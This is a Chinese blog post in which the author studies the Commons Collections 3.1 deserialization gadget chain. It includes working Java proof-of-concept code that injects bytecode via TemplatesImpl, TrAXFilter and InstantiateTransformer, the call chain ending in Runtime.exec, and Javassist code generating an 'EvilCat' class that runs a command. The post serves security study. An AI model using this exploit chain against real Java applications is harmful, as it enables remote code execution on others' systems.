java--CommonsCollections3基础学习

唉,做事不细心,浪费好光阴啊!由于对java的了解甚少,于是我还是像以前那样随便使用的ysoserial和下载的commonscollections4.4进行漏洞利用,发现在jdk1.7时会提示Templates有问题,在jdk1.8还没有任何反应,然后通过不断的寻找,最后发现了原因,原来测试环境是:

  • JDK 1.7

  • Commons Collections 3.1

推荐使用maven搭建,引入依赖

<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>


    <dependency>
        <groupId>org.javassist</groupId>
        <artifactId>javassist</artifactId>
        <version>3.24.1-GA</version>
    </dependency>
</dependencies>

。。。。。。。


那么在CommonsCollections3的学习之前,我们已经学习了1和2,那么3也会很好理解了,先看一下利用payload:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;

public class demo {
    public static void main(String[] args) throws Exception {
        FileInputStream inputFromFile = new FileInputStream("/Users/zyer/Downloads/untitled/out/production/untitled/Exp2.class");
        byte[] bs = new byte[inputFromFile.available()];
        inputFromFile.read(bs);

        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{bs});
        setFieldValue(obj, "_name", "TemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{obj})
        });
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,chain);
        outerMap.put("1","1");

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

在直接上别人写好的利用链

ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                        newInstance()
                            TrAXFilter#TrAXFilter()
                            TemplatesImpl.newTransformer()
                                     TemplatesImpl.getTransletInstance()
                                     TemplatesImpl.defineTransletClasses
                                     newInstance()
                                        Runtime.exec()

我们可以看到新的东西就是InstantiateTransformer和TrAXFilter

那么我们先对这俩东西分别进行学习:

1.InstantiateTransformer

我们直接进入这个Transformer的transform方法看一下功能

 发现他会判断input是不是class类型,是的话就使用反射获取其构造方法然后实例化一个对象并返回。

2.TrAXFilter

我们直接看一下它的构造方法

在 SAX API 中提供了一个过滤器接口 org.xml.sax.XMLFilter,XMLFilterImpl 是对它的缺省实现,使用过滤器进行应用程序开发时,只要继承 XMLFilterImpl,就可以方便的实现自己的功能。

com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter 是对 XMLFilterImpl 的实现,在其基础上扩展了 Templates/TransformerImpl/TransformerHandlerImpl 属性,

TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。

可能是我之前学习的时候不太认真,我到这会有疑问了,Templates和TemplatesImpl有啥关系?

这个可以追溯到TemplatesImpl的定义(关于继承或者接口的学习之后在回来重新看一下)

我们也可以测试一下

 那么这样我们就可以认为上述思路成了(TrAXFilter 在实例化时接收 Templates 对象,并调用其 newTransformer 方法,这就可以触发我们的 TemplatesImpl 的攻击 payload 了。)


那么对于payload代码的理解:构建一个TemplatesImpl对象,然后使用TrAXFilter作为出发点,这其中会生成一个TemplatesImpl对象并使用newTransformer这个方法,然后InstantiateTransformer使用反射将其实例化,因为之前通过反射的方法已经构造了执行命令的TemplatesImpl对象,然后加入到一个map中,这里使用的TransformedMap的方法,于是使用put方法的时候就会触发了。

因为TransformedMap使用的局限性,我们仍然可以使用LazyMap,然后参考commonscollections6使用TiedMapEntry和HashMap以及HashSet可以实现jdk7和8的所有版本的利用。


在这需要学习的新知识就是maven中引入依赖的javassist,javassist 用来动态修改类。

Javaassist 就是一个用来处理 Java 字节码的类库,其主要优点在于简单、便捷。用户不需要了解虚拟机指令,就可以直接使用Java编码的形式,并且可以动态改变类的结构,或者动态生成类。

Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这几个类。

  • ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。

  • CtClass:表示一个类,这些 CtClass 对象可以从ClassPool获得。

  • CtMethods:表示类中的方法。

  • CtFields :表示类中的字段。

    Javassit官方文档中给出的代码示例如下

首先获取 ClassPool 的实例,ClassPool 主要用来修改字节码,并且在 ClassPool 中存储着 CtClass 对象,它能够按需创建出 CtClass 对象并提供给后续处理流程使用,当需要进行类修改操作的时候,可以通过 ClassPool 实例的.get()方法,获取CtClass对象。如在上述代码中就是从 pool 中利用 get 方法获取到了test.Rectangle对象,然后将获取到的 CtClass 对象赋值给cc变量。

需要注意的是,从 ClassPool 中获取的 CtClass 对象,是可以被修改的。如在上述代码中,可以看到,原先的父类,由test.Rectangle被改成了test.Point。这种更改可以通过调用CtClass().writeFile()将其持久化到文件中。

中文文档:Javassist中文技术文档 - 程序诗人 - 博客园 

 测试代码

//      使用Javassit新建一个含有static的类
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        cc.writeFile();

然后我们会生成一个class文件

 

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值